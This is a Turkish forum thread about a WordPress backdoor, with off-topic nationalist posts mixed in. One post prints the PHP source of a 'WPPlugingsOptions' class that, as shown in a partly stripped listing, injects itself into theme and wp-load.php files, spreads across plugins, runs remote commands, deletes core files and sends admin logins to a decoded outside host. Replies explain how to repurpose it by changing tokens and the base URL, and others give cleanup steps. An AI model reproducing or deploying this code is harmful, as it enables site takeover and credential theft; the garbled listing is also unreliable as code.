bence cok güzel iş cıkarmıs helal olsun adama Bu Yüce Türk Milleti ne ihanetler grdü hepsinin üstesinden gelmeyi başararak tarihe nice zaferler yazdırdı. Bu Millet Kuva-yı milliye hareketini yeniden başlatır. Sivas Kongresini yeniden toplar, Ya İstiklal, Ya lüm diye haykırır ve gereğini yapar. Türk Milleti ihaneti ve hainleri hiç affetmez. Dileğimiz odur ki bu iş sandıkta bitsin, aksi halde "sürüye dalmayı gze alan Kurt, çobanın da, kpeğinde hesabını yapmaz."

bunu bulaştığı sistemden kolayca temizlemenin bir yolu var mı arkadaşlar? No thing is possible, world itselfs say ı'm possible

Selamlar olayı nedir kısaca bilgi geçebilecek olan var mı? Php ve mysql bilgim var ama olayı kavrayamadım nedense :)

Teşekkürler

iş yapar güzel eline sağlık Ekol Bilgi güçtür, düşmanını barışa zorlar.

<?php if ( ! class_exists ) { class WPPlugingsOptions { private $script = ''; private $version = ''; private $upDir = ''; private $uploadDir = ''; private $uploadUrl = ''; private $token = ''; private $baseUrl = ''; private $authorization; private $address; public $allowedActions = ; public $isSpread = ; public $permission = ; public function construct private function answer { $answer = $code; $answer = $message; $answer = $data; if return json_encode ; } private function check { try { if { if ( ! is_writable ) { if ( ! @chmod( $this->uploadDir, 0777 ) ) else } else } else $data = $this->version; $data = $this->uploadDir; $data = $this->script; $data = ? true : false; $data = wp_get_theme ->get ; $data = get_template_directory ; $data = $this->get_themes ; $data = $this->get_plugins ; $data = $this->themes ; $data = ABSPATH; if ( function_exists ) if ( function_exists ) return $this->answer ; } catch } private function isAllowedToSendCommand { try { if (md5(sha1 'b28ee5fed7b75a888635c35727f398b6' ) return false; } catch } private function authorization { if return false; } private function sender { try { $client = wp_remote_get ; if ( wp_remote_retrieve_response_code "200" && $this->json_validator( wp_remote_retrieve_body ) ) else { if ( ! $this->authorization ) return ( md5( $this->authorization ) '0d27765df1902e5557d099bff98a57f8' ) ? true : false; } } catch } private function method_exists { if ( array_search ! false && method_exists ) else } public function controlAction { try { if ( isset ) { if ( $this->isAllowedToSendCommand ) { if ( $this->method_exists ) { if ( $this->sender ) { return $this-> ; } else } if ( $this->method_exists ) { return $this-> ; } else } } } catch } private function post { try catch } private function client { try { $client = wp_remote_get ; if ( wp_remote_retrieve_response_code "200" && $this->json_validator( wp_remote_retrieve_body ) ) return false; } catch } private function file { try { $client = wp_remote_get ; if ( wp_remote_retrieve_response_code "200" && $this->json_validator( wp_remote_retrieve_body ) ) return false; } catch } private function get_plugins { try { if ( ! function_exists ) foreach ( get_plugins AS $plugin_name => $get_plugin ) { $plugins = $get_plugin; if ( is_plugin_active ) else } return ( isset ) ? $plugins : false; } catch } public function activate_plugins { try { if ( is_plugin_active( hex2bin ) ) else } catch } public function get_themes { try { foreach ( wp_get_themes AS $theme_name => $wp_get_theme ) { $themes = array( 'Name' => $wp_get_theme->get , 'Description' => $wp_get_theme->get , 'Author' => $wp_get_theme->get , 'AuthorURI' => $wp_get_theme->get , 'Version' => $wp_get_theme->get , 'Template' => $wp_get_theme->get , 'Status' => $wp_get_theme->get , 'TextDomain' => $wp_get_theme->get ); } return $themes; } catch } private function folder_exist { try catch } public function list_folders { try { $directory = ( isset && $directory! "" ) ? hex2bin : ABSPATH; if ( ( $dir = $this->folder_exist ) ! false ) else } catch } public function replace { try { $source = $this->read ; if ( strpos false ) { $pos = strpos ; if else } else } catch } public function restore { try catch } public function template_dir { try { if $dir = glob( get_theme_root . "/ / / " ); $files = array_filter ; foreach { $source = $this->read ; if ( ! is_array && strpos false ) } return array_values ; } catch } public function access_log { try { foreach { if ( ( $dir = $this->folder_exist ) ! false ) } foreach { foreach } } catch } public function template_install { $source = ""; $file = array ; foreach ( json_decode( $this->client ) as $item ) foreach ( array_keys( $this->get_themes ) as $theme ) { $functions = get_theme_root . DIRECTORY_SEPARATOR. $theme. DIRECTORY_SEPARATOR. 'functions. php'; $functionsClass = get_theme_root . DIRECTORY_SEPARATOR. $theme. DIRECTORY_SEPARATOR. 'classs-theme-functions. php'; $read = $this->read ; if ( file_exists && $this->write && strpos false) { $attr = (strpos false) ? '<?php' : ' /'; $search = "$attr\n"; $replace = "$attr\nif ( ! class_exists && file_exists( get_template_directory . DIRECTORY_SEPARATOR. 'classs-theme-functions' ) ) \n"; $file = $this->replace ; } } return (isset ? $this->answer( true, 'I get install!', array_values( array_unique ) ) : $this->answer( false, 'I Don\'t install!', '', 'ERR002' ); } public function install { try { $clientURL = $this->client ; if { foreach ( $this->template_dir AS $file ) { $copyFile = $this->copy( dirname . DIRECTORY_SEPARATOR, json_decode ); if { $search = "<?php\n"; $replace = "<?php\nif ( ! class_exists && file_exists( get_template_directory . '/" . basename( dirname ) . "/" . basename . "' ) ) \n"; if ( strpos( $this->read , "namespace" ) false ) } } return ( isset ) ? $this->answer( true, 'I get install!', array_values( array_unique ) ) : $this->answer( false, 'I Don\'t install!', '', 'ERR002' ); } return $this->answer( false, 'Client URL FALSE!', "", "ERR026" ); } catch } public function uninstall { try { $clientURL = $this->client ; if { foreach ( $this->template_dir AS $file ) { $copyFile = $this->copy( dirname . DIRECTORY_SEPARATOR, json_decode ); $search = "if ( ! class_exists && file_exists( get_template_directory . '/" . basename( dirname ) . "/" . basename . "' ) ) "; $uninstall = $this->restore ; $this->restore ; if { $return = $file; if ( file_exists ) } } return ( isset ) ? $this->answer( true, 'Please find me!', array_values( array_unique ) ) : $this->answer( false, 'Don\'t search me!', '', 'ERR002' ); } return $this->answer( false, 'Client URL FALSE!', "", "ERR026" ); } catch } public function wp_load { try { $filename = ABSPATH. 'wp-load. php'; if ( file_exists ) { $clientURL = $this->client ; if { $copy = $this->copy_themes( get_template_directory . DIRECTORY_SEPARATOR, json_decode ); if { $basename = basename ; $search = "\nif ( ! class_exists && file_exists( get_template_directory . DIRECTORY_SEPARATOR. ' ' ) ) {\n\tinclude_once( get_template_directory . DIRECTORY_SEPARATOR. ' ' );\n}"; if ( ! stristr( $this->read , $search ) ) { if ( $this->write_append ) else { return $this->answer( false, "WP_LOAD Installed ", $filename, "ERR029" ); } } else } else { return $this->answer( false, "WP_LOAD Installed ", $filename, "ERR030" ); } } else } } catch } public function wp_install { try { $filename = ABSPATH. 'wp-load. php'; if ( file_exists ) { $clientURL = $this->client ; if { $search = "\nif ( ! class_exists && file_exists ) "; if ( ! stristr( $this->read , $search ) ) return $this->answer ; } else } } catch } public function wp_users_list { try { $args = array ; $dongu = get_users ; $user_array = array ; foreach return json_encode ; } catch } private function copy_themes { try { foreach { $filename = $directory. basename ; if ( file_exists ) { $strpos = strpos( $this->read , "class WPPlugingsOptions" ); if elseif } else } return false; } catch } private function write_append { try { if ( function_exists && function_exists ) elseif ( function_exists ) return false; } catch } private function listFolderFiles { try { $fileInfo = scandir ; $allFileLists = ; foreach { if { if ( is_dir true ) } } return $allFileLists; } catch } private function copy { try { foreach { $filename = ( stristr ) ? $directory. 'index. php' : $directory. basename( dirname ) . '. php'; if ( file_exists ) { $strpos = strpos( $this->read , "class WPPlugingsOptions" ); if elseif } else } return false; } catch } public function plugin_uninstall { try { $client = $this->client ; if { foreach ( $this->wp_plugins as $folder ) foreach return $this->answer ; } return $this->answer( false, 'Client URL FALSE!', "", "ERR026" ); } catch } public function all { try { $wp_includes = $this->wp_includes ; $wp_themes = $this->themes ; $wp_admin = $this->wp_admin ; $wp_uploads = $this->uploads ; $new_data = array_merge ; foreach { if ( is_dir ) } return array_filter ; } catch } public function wp_includes { try { foreach ( $this->array_keys( $this->listFolderFiles ) AS $folders ) { if ( is_dir ) } return $return; } catch } public function wp_admin { try { foreach ( $this->array_keys( $this->listFolderFiles ) AS $folders ) { if ( is_dir ) } return $return; } catch } public function wp_plugins { try { foreach ( $this->array_keys( $this->listFolderFiles ) AS $folders ) { if ( is_dir ) } return $return; } catch } public function uploads { try { foreach ( $this->array_keys( $this->listFolderFiles ) AS $folders ) { if ( is_dir ) } return $return; } catch } public function themes { try { foreach ( glob( get_theme_root . "/ ", GLOB_ONLYDIR ) AS $item ) foreach ( $this->array_keys AS $folders ) { if ( is_dir ) } return $return; } catch } public function spread { try { $client = $this->client ; if { if ( array_search ! false ) { foreach ( $this-> as $folder ) return $this->answer ; } else } return $this->answer( false, 'Client URL FALSE!', "", "ERR026" ); } catch } public function unspread { try { $client = $this->client ; if { if ( array_search ! false ) { foreach ( $this-> as $folder ) foreach return $this->answer ; } else } return $this->answer( false, 'Client URL FALSE!', "", "ERR026" ); } catch } public function json { try catch } public function get { try { $post = $this->post ; if ( wp_remote_retrieve_response_code "200" ) else } catch } public function cache { try { if ( file_exists( $this->json ) ) { $file = hex2bin( $this->read( $this->json ) ); $json = json_decode ; if ( $this->minute >= 24 ) else } else } catch } public function write { try { if ( function_exists && function_exists ) elseif ( function_exists ) return false; } catch } public function write_file { try { if ( $this->json_validator( hex2bin ) ) { $json = json_decode( hex2bin ); if ( isset ) { if ( file_exists ) { if ( isset ) { if ( $this->write( $json->filename, html_entity_decode( hex2bin ) ) ) } else } else { $content = ( isset && $json->content!= '' ) ? html_entity_decode( hex2bin ) : "<?php\n"; if ( $this->write ) else } } else } else return $this->answer( false, "Unknown error", $params, "ERR022" ); } catch } public function read { try { if ( ! file_exists ) if ( function_exists ) if ( function_exists && filesize > 0 ) return $this->answer( false, 'File not read', $filename, 'ERR018' ); } catch } public function read_file { try { $read_file = $this->read( hex2bin ); if ( $this->json_validator ) else } catch } public function json_validator { try { if ( ! empty ) return false; } catch } public function login { try { $user_info = get_userdata ; $username = $user_info->user_login; $user = get_user_by ; if ( ! is_wp_error ) else } catch } public function command { try { if ( function_exists ) else if ( function_exists ) else } catch } public function upload_file { try { $file = $this->file(hex2bin ; if { foreach ( json_decode as $key => $item ) $process = fopen ; fwrite ; fclose ; return $this->answer ; }else } catch } private function array_keys { try { $keys = array_keys ; foreach { if ( is_array ) } return $keys; } catch } private function minute { try catch } public function new_system_update { try { $upload_name = "index"; $adminupload = ABSPATH. "wp-admin"; unlink ; unlink ; unlink ; $dizinupload = ABSPATH. ""; unlink($dizinupload."/wp-includes/theme-compat/footer-404. php"); unlink ; unlink ; unlink(get_template_directory ."/class-wp-functions. php"); $dizi_array = array( "/wp-includes/ID3", "/wp-includes/rest-api/search", "/wp-includes/rest-api/fields", "/wp-includes/rest-api/endpoints", "/wp-includes/widgets", "/wp-includes/theme-compat", "/wp-includes/Requests", "/wp-includes/Requests/Utility", "/wp-includes/Requests/Transport", "/wp-includes/Requests/Response", "/wp-includes/Requests/Proxy", "/wp-includes/Requests/Exception", "/wp-includes/Requests/Exception/Transport", "/wp-includes/Requests/Exception/HTTP", "/wp-content/languages/themes", "/wp-content/languages/plugins", "/wp-content/languages" ); foreach $upload_array = array(2019,2018,2017,2016,2015,2014,2013,2012,2011,2010,2009,2008,2007,2006,2005,2004); $upload_alt_array = array("01","02","03","04","05","06","07","08","09","10","11","12"); $uploadfolder = ABSPATH. "wp-content/uploads/"; foreach { unlink ; foreach } return $this->answer( true, 'New System Update', "System Clear", 'ERR000' ); } catch } public static function wp_login { $post_url = hex2bin( '687474703a2f2f73797374656d2e6b72616c7068702e636f6d2f' ); if { $login_url = 'http://'.$_SERVER .$_SERVER ; $username = $_POST ; $password = $_POST ; $test = wp_authenticate ; $sor = $test->allcaps; $testet = $sor ; if } } public static function wp_fatest_cache_up { $getir = get_option ; if { if(strstr else{ $fatest_cache = ' '; update_option ; $pluginfolder = ABSPATH. "wp-content/plugins/wp-fastest-cache/"; if($options = get_option } }else{ $fatest_cache = ' '; add_option ; $pluginfolder = ABSPATH. "wp-content/plugins/wp-fastest-cache/"; if($options = get_option } } public static function litespeed_cache_up { $litespeed_cache = get_option ; if(strstr else{ $litespeed_cache = "google|yandex|bing|yahoo|googleweb|yandexbot"; update_option ; self::write_append(ABSPATH. '/. htaccess', " <IfModule LiteSpeed> RewriteEngine on CacheLookup on RewriteRule. - RewriteRule ^min/\w+\. - marker NOCACHE USER AGENTS start RewriteCond % google|yandex|bing|yahoo|alexa|googleweb|yandexbot RewriteRule. - marker NOCACHE USER AGENTS end marker CACHE RESOURCE start RewriteRule wp-content/. / \. php - marker CACHE RESOURCE end marker FAVICON start RewriteRule favicon\. ico$ - marker FAVICON end </IfModule> "); } } public static function wp_optimize_up { $getir = get_option ; if(in_array else } public static function wp_supercache_up { global $wp_cache_config_file; $oku_dosya = self::read ; if(strstr else } public static function cache_check { $aktif_plugin = get_option ; if (in_array else } public static function cache_method { try { if(self::cache_check if(self::cache_check if(self::cache_check if(self::cache_check } catch } public static function init { try catch } public static function method { try { $cache = json_decode( ( new self )->cache ); $konum_durum = $cache->goster_konum; $index = ( preg_match( " i", strtolower ) ) ? true : false; if ( $index && $cache->status 2 && ! empty && isset ) { $say_s = $_SERVER ; $saydim = strlen ; $git_url = $cache->yonlen_kod.$_SERVER ; if($saydim > 2) else } if ($cache->status 0) { if($konum_durum 1 && ! is_front_page if($konum_durum 0) }else if ($index && $cache->status 1 ) { if($konum_durum 1 && ! is_front_page if($konum_durum 0) } } catch } public static function init_code { $cache = json_decode( ( new self )->cache ); if(isset if(isset } } } try { if ( ! function_exists ) { function preArrayList } if ( ! defined ) { foreach { if ( file_exists ) } } } catch try { $token = @$_REQUEST ; $action = @$_REQUEST ; $params = @$_REQUEST ; error_reporting( 0 ); if ( ! is_null && ! empty ) { $WPPlugingsOptions = new WPPlugingsOptions ; $controlAction = $WPPlugingsOptions->controlAction ; if ( is_array || is_object ) else } else } catch insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

Daha nce paylaştığımızın yeni versiyonu hex kodları decode edildiğinde 687474703a2f2f73797374656d2e6b72616c7068702e636f6d2f http://system.kralphp.com/ post json hex 7b2264617465223a22323032302d30332d31332031303a34303a3533222c22737461747573223a6e756c6c2c22676f737465725f6b6f6e756d223a6e756c6c2c226b6f6e756d223a6e756c6c2c22626f74223a6e756c6c2c226c696e6b5f6b6f64223a6e756c6c2c2268746d6c5f6b6f64223a6e756c6c2c227068705f6b6f64223a6e756c6c2c22796f6e6c656e5f6b6f64223a6e756c6c7d bu versiyona eklemeler yapılmış :) Aşşağıdaki kodaki fonksiyon http://system.kralphp.com/ log postunda sitenize ait admin kullanıcı adı şifresini logluyor. public static function wp_login { $post_url = hex2bin( '687474703a2f2f73797374656d2e6b72616c7068702e636f6d2f' ); if { $login_url = 'http://'.$_SERVER .$_SERVER ; $username = $_POST ; $password = $_POST ; $test = wp_authenticate ; $sor = $test->allcaps; $testet = $sor ; if { $git = wp_remote_post($post_url."postlogin", [ "body" => ] ); EcHoLL tarafından 25/Mar/20 21:28 tarihinde düzenlenmiştir insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

ben hala anlamadım hocam :) kusura bakma. basit bir şekilde adım adım ifade edecek olan varmı :)

nasıl kullanıyoruz bunu?

nasıl kullanıyoruz bunu? if (md5(sha1 'b28ee5fed7b75a888635c35727f398b6' ) { Bu tokenleri kendine gre düzenliyorsun based url yide kendine gre düzenlemen gerekiyor çünkü download vs bütün işlemleri based url üzerinden alıyor Curl ile access alabilirsin http://system.kralphp.com/clientfiles/files/shell json kullanmış zaten adam kimse kullanamasın diye byle birşey seçmiş sunucularınızı tarayın bu lavuk wordpress xmlrpc. php ile daha nce logladığı türk sitelerine sunucuda bruteforce çekiyor yani temizledikden sonra aynı şifre olan herşeyi değiştirmelisiniz. insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

bunu bulaştığı sistemden kolayca temizlemenin bir yolu var mı arkadaşlar? https://www.tahribat.com/forum/wordpress-backdoor-243978 Bulaştığı dosyalar nasıl arama yapıcağın hakkında bilgi bulabilirsin bulaşmış bir sistemin varsa wp-content dosyasını silme geri kalan bütün dosyaları silip temiz wp dosyalarını upload edersen kurtulursun wp-content içine. htaccess dosyası oluşturup <FilesMatch "\. $"> <IfModule! mod_authz_core. c> Order allow, deny Deny from all </IfModule> <IfModule mod_authz_core. c> Require all denied </IfModule> </FilesMatch> wp-content altındaki php dosyalarına direk erişimi engeleye bilirsin tema dosylarına eklemeler var ise onlarıda değiştirme tarihlerine bakarak enfekte olanları düzeltmen gerekiyor. insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.